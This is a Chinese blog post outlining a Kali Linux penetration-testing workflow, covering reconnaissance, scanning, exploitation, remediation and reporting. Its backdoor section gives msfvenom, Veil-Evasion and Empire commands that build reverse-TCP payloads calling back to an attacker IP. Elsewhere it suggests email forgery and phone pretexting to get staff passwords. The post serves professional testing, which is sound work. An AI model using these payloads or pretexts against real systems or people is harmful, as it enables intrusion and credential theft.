首页 > 系统相关 >kali linux 基本渗透测试流程

kali linux 基本渗透测试流程

时间:2023-04-10 11:22:13浏览次数:42  
标签:修复 渗透 kali 使用 扫描 信息 目标 漏洞 linux

渗透测试流程

1. 信息收集阶段

网络拓扑结构分析

  • 使用nmap扫描目标网络,获取目标主机IP地址和开放端口信息
  • 使用whois查询目标域名的注册信息和DNS服务器信息
  • 使用nslookup查询目标域名的IP地址和子域名信息
  • 使用traceroute获取目标主机的路由信息
  • 使用ping测试目标主机的可达性和响应时间
  • 使用社交工程学手段获取目标员工信息和组织架构信息
  • 使用公开信息收集工具(如Shodan)查询目标网络的设备和服务信息

域名信息收集

  • 使用whois工具获取目标域名的注册信息,包括注册人、注册商、注册日期、过期日期等。
  • 使用nslookup或dig工具查询目标域名的DNS记录,获取目标域名的IP地址。
  • 使用子域名枚举工具,如sublist3r、amass等,获取目标域名的所有子域名。
  • 使用网站爬虫工具,如SpiderFoot、theHarvester等,获取目标域名关联的其他域名、邮箱、IP地址等信息。

端口扫描

  • 使用nmap进行端口扫描,命令如下:
nmap -sS -p 1-65535 target_ip
  • 结果示例:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-01 15:34 CST
Nmap scan report for target_ip
Host is up (0.12s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
8080/tcp  open  http-proxy
20000/tcp open  dnp
  • 解释:
    • -sS参数表示使用TCP SYN扫描方式;
    • -p参数表示扫描的端口范围,这里扫描了1-65535所有端口;
    • target_ip为目标IP地址。

操作系统识别

  • 使用nmap扫描目标IP地址,获取目标主机开放的端口和服务信息。
  • 使用nmap的操作系统识别功能,获取目标主机所使用的操作系统类型和版本信息。
  • 使用whois查询目标域名的注册信息,获取目标公司、联系人等信息。
  • 使用搜索引擎(如Google)搜索目标公司的网站、子域名等信息,获取目标公司的业务范围、技术架构等信息。
  • 使用社交媒体(如LinkedIn)搜索目标公司的员工信息,获取目标公司的组织结构、职责分工等信息。

服务识别

  • 使用nmap扫描目标IP地址,识别目标主机开放的端口和运行的服务。
  • 使用WhatWeb扫描目标网站,识别目标网站所使用的Web框架、CMS、Web服务器等信息。
  • 使用whois查询目标域名的注册信息,获取目标组织的联系方式和技术架构等信息。
  • 使用Google Hacking Database搜索目标组织的敏感信息,如用户名、密码、配置文件等。

Web应用程序识别

  • 使用搜索引擎和目录枚举工具,如Google Hacking Database、Baidu、Shodan等,来发现目标网站的存在。
  • 使用Whois查询工具获取目标网站的所有者信息。
  • 使用DNS查询工具来枚举目标网站的子域名。
  • 使用端口扫描工具,如Nmap、Masscan等,来确定目标网站上开放的端口和服务。
  • 使用Web应用程序识别工具,如Wappalyzer、WhatWeb等,来确定目标网站上使用的技术栈、框架和CMS等。

表格示例:

工具名称功能描述
Google Hacking Database 使用Google搜索语法来发现目标网站的存在
Whois查询工具 获取目标网站的所有者信息
DNS查询工具 枚举目标网站的子域名
端口扫描工具 确定目标网站上开放的端口和服务
Web应用程序识别工具 确定目标网站上使用的技术栈、框架和CMS等

敏感信息收集- 通过搜索引擎查找相关公司网站,获取公司名称、业务范围、联系方式等敏感信息。

  • 使用WHOIS查询工具,获取目标网站的注册人、注册邮箱、IP地址等敏感信息。
  • 使用社交媒体平台,如LinkedIn、Facebook等,查找目标公司的员工信息、职位等敏感信息。
  • 使用在线工具,如网站漏洞扫描器、端口扫描器等,获取目标网站的漏洞信息、开放端口等敏感信息。
  • 通过邮件伪造、电话欺骗等方式,获取目标公司的敏感信息,如员工账号、密码等。

2. 漏洞扫描阶段

漏洞扫描工具选择

  • Nmap

    nmap -sS -sV -O target_IP
    
  • Nessus

    打开Nessus扫描器,输入目标IP地址,选择扫描模板,开始扫描
    
  • OpenVAS

    打开OpenVAS扫描器,输入目标IP地址,选择扫描模板,开始扫描
    
  • Burp Suite

    打开Burp Suite,配置代理,使用Burp Scanner进行扫描
    
  • Metasploit

    打开Metasploit,使用auxiliary模块进行扫描
    
  • Acunetix

    打开Acunetix,输入目标URL,选择扫描模板,开始扫描
    
  • sqlmap

    sqlmap -u "target_URL" --dbs
    

漏洞扫描目标选择

  • 漏洞扫描目标选择示例:
目标描述
Web应用程序 使用Burp Suite、OWASP ZAP等工具对Web应用程序进行扫描
网络设备 使用Nmap、Angry IP Scanner等工具对网络设备进行扫描
操作系统 使用OpenVAS、Nessus等工具对操作系统进行扫描
数据库 使用SQLMap等工具对数据库进行扫描
无线网络 使用Aircrack-ng等工具对无线网络进行扫描

漏洞扫描结果分析

  • 漏洞扫描结果分析:
漏洞名称漏洞等级影响范围建议处理方案
SQL注入漏洞 影响整个网站 对输入参数进行过滤和转义处理,使用参数化查询
XSS漏洞 影响用户信息安全 对用户输入进行过滤和转义处理,使用CSP等防护措施
未授权访问漏洞 影响部分功能 加强权限控制,限制敏感操作的访问权限

漏洞验证- 漏洞验证:

漏洞名称漏洞描述验证方式
SQL注入漏洞 通过注入恶意代码来获取数据库中的敏感信息或者修改数据库内容 在输入框中输入特定的SQL语句,观察网站是否返回异常信息
XSS漏洞 恶意用户在网站上插入脚本代码,当其他用户访问该页面时,脚本会被执行 在输入框中输入特定的脚本代码,观察网站是否执行该脚本
文件上传漏洞 允许用户上传文件,但没有对上传文件进行充分的验证和过滤,攻击者可以上传恶意文件 上传包含恶意代码的文件,观察网站是否正常处理该文件

3. 渗透攻击阶段

渗透攻击工具选择

  • 渗透攻击工具选择:

    工具名称用途
    Nmap 端口扫描
    Metasploit 漏洞利用
    Burp Suite Web应用程序攻击
    Aircrack-ng 无线网络攻击
    Hydra 密码破解
    John the Ripper 密码破解
    Sqlmap SQL注入攻击
    Wireshark 网络流量分析
    Netcat 网络工具
    Hping 网络工具

渗透攻击方式选择

  • 渗透攻击方式选择:

    攻击方式描述
    社交工程学 通过社交技巧获取目标系统的信息,如钓鱼邮件、电话诈骗等。
    漏洞利用 利用已知或未知漏洞攻击目标系统,如使用Metasploit框架等。
    密码破解 尝试破解目标系统的密码,如使用密码字典、暴力破解等。
    物理攻击 直接进入目标系统所在的物理环境进行攻击,如进入机房、拆卸硬件等。

渗透攻击结果分析

  • 渗透攻击结果分析:
    • 通过渗透测试工具获取的漏洞信息,如nmap、nessus等工具的扫描结果。
    • 通过手工测试获取的漏洞信息,如SQL注入、XSS等漏洞。
    • 分析漏洞的危害程度,如是否可利用、对系统的影响等。
    • 提出修复建议,如修补漏洞、升级补丁等。

渗透攻击后门植入- 使用Metasploit生成反向TCP后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe > backdoor.exe
  • 使用Veil-Evasion生成反向TCP后门:

    veil-evasion.py
    usestager/windows/meterpreter/rev_tcp
    set LHOST <attacker IP>
    set LPORT <attacker port>
    generate
    
  • 使用Empire生成反向TCP后门:

    listeners
    uselistener http
    set Name http
    set Host <attacker IP>
    set Port <attacker port>
    execute
    back
    usestager windows/launcher_bat
    set Listener http
    execute
    

表格:

后门类型植入方法
Webshell 通过漏洞上传Webshell,或者在服务器上直接创建Webshell
Rootkit 修改系统内核或者驱动程序
Trojan 通过社会工程学手段诱骗用户下载安装
RAT 通过漏洞或者社会工程学手段植入远程控制软件

4. 漏洞修复阶段

漏洞修复建议

  • 漏洞修复建议:
    • 修复漏洞前先备份数据和系统。
    • 优先修复高危漏洞,其次再修复中危和低危漏洞。
    • 修复漏洞时要注意不要引入新的漏洞。
    • 对修复后的系统进行再次测试,以确保漏洞已经被修复。
    • 对修复后的系统进行监控和日志审计,及时发现新的漏洞或攻击行为。

漏洞修复跟踪- 漏洞修复跟踪:

漏洞编号漏洞描述修复状态修复人员修复时间
001 SQL注入漏洞 已修复 张三 2021-05-01
002 XSS漏洞 未修复 李四 -
003 文件上传漏洞 已修复 王五 2021-05-02

5. 报告编写阶段

渗透测试报告结构

  • 渗透测试报告结构:
    标题内容
    1. 引言 对渗透测试的目的、范围、方法、工具等进行说明
    2. 测试过程 对测试的步骤、方法、结果进行详细描述
    3. 漏洞分析 对测试中发现的漏洞进行分析、评估和分类
    4. 风险评估 对漏洞的风险进行评估和分类,并提出相应的建议和措施
    5. 结论和建议 对测试结果进行总结,并提出相应的建议和措施
    6. 附录 包括测试过程中的截图、日志、代码等详细信息

报告编写要点

  • 报告编写要点:
    • 对测试结果进行详细描述,包括测试的目标、范围、方法和结果。
    • 列出所有发现的漏洞和安全问题,并按照优先级进行分类。
    • 对每个漏洞或安全问题进行详细描述,包括其影响、利用方法和建议的修复方案。
    • 提供截图、漏洞利用脚本等支持证据。
    • 针对每个漏洞或安全问题,提供相应的修复建议并给出修复建议的优先级。
    • 附上测试人员的联系方式,以便在需要时进行进一步沟通。

报告提交及漏洞公开风险评估- 报告提交及漏洞公开风险评估示例:

  • 将渗透测试报告提交给客户,并说明测试过程中发现的漏洞及其风险等级。
  • 对于高风险漏洞,需要在报告中提供详细的修复建议,并督促客户及时修复。
  • 在报告中评估漏洞公开的风险,对于可能会导致严重后果的漏洞,需要在报告中说明风险,并建议客户尽快修复。同时,需要提醒客户在修复之前谨慎处理漏洞信息,避免泄露给攻击者。

标签:修复,渗透,kali,使用,扫描,信息,目标,漏洞,linux
From: https://www.cnblogs.com/lusuo/p/17302341.html

相关文章

  • Linux&Nginx16_Nginx反向代理6
    一、概念反向代理代理(ReverseProxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。首先我们先理解正向代理,如下图: ......
  • GO打包到linux服务器运行
    方法二:本地编译cmd控制台到main.go文件目录下setGOARCH=amd64setGOOS=linuxgobuildmain.go会生成一个没有后缀的二进制文件main将该文件放入linux系统某个文件夹下赋予权限chmod777main最后执行./main就行了。如果想让项目在后台执行:执行nohup./main&,这样......
  • Linux|windows——什么是接口与API接口
    今天有个朋友问我什么接口?你们平时都说在写接口,写的是什么鬼啊?我一开始就想,咦小陈同学怎么突然了解编程接口了,不过听到他后一个提问我知道原来他想的是API接口,不过被我主观意识习惯想成了编程定义上的接口。所以就突发其想,想写篇东西说明一下编程定义的接口,与API接口含义。为了区......
  • Linux sed 命令
    Linuxsed命令非常重要,今天海外项目部署正好用到,配置文件中https全部修改为httpLinuxsed命令是利用脚本来处理文本文件。sed可依照脚本的指令来处理、编辑文本文件。Sed主要用来自动编辑一个或多个文件、简化对文件的反复操作、编写转换程序等。语法sed[-hnV][-e<scri......
  • Linux grep 命令
    Linuxgrep命令这个命令没啥好说的非常重要Linuxgrep(globalregularexpression)命令用于查找文件里符合条件的字符串或正则表达式。grep指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设grep指令会把含有范本样式的那一列显示......
  • 转载:linux kfifo
    参考:https://blog.csdn.net/Bruno_Mars/article/details/100061793kfifo源码:https://elixir.bootlin.com/linux/v5.4.240/source/include/linux/kfifo.h#L118https://elixir.bootlin.com/linux/v5.4.240/source/lib/kfifo.c#L113kfifosmaplecode:https://elixir.bootlin.......
  • 使用paramiko上传文件到Linux并且解压
    思路是,使用zipfile对文件进行压缩,之后使用paramiko提供的SFTPClient()上传文件,之后使用paramiko的SSHClient()执行Linux命令操作文件importosimportzipfileimportparamiko#使用zipfile压缩文件defzip_code(dir_name,zip_name):file_list=[]ifos.path.is......
  • Linux 杀毒软件发现的漏洞可使得黑客获得 root 权限
    McAfeeVirusScanEnterprisefor Linux 版本中的远程代码执行缺陷,使黑客可以获得root权限,安全研究人员称只需欺骗该app使用恶意更新服务器即可实现。Linux安全软件发现的漏洞可使得黑客获得Root权限来自MITLincolnLaboratory的AndrewFasano在他的帖子中......
  • Linux 杀毒软件发现的漏洞可使得黑客获得 root 权限
    McAfeeVirusScanEnterprisefor Linux 版本中的远程代码执行缺陷,使黑客可以获得root权限,安全研究人员称只需欺骗该app使用恶意更新服务器即可实现。Linux安全软件发现的漏洞可使得黑客获得Root权限来自MITLincolnLaboratory的AndrewFasano在他的帖子中......
  • Linux awk 命令
    Linuxawk命令这玩意非常重要,是自动化的核心、核心、核心AWK是一种处理文本文件的语言,是一个强大的文本分析工具。之所以叫AWK是因为其取了三位创始人AlfredAho,PeterWeinberger,和BrianKernighan的FamilyName的首字符。语法awk[选项参数]'script'var=value......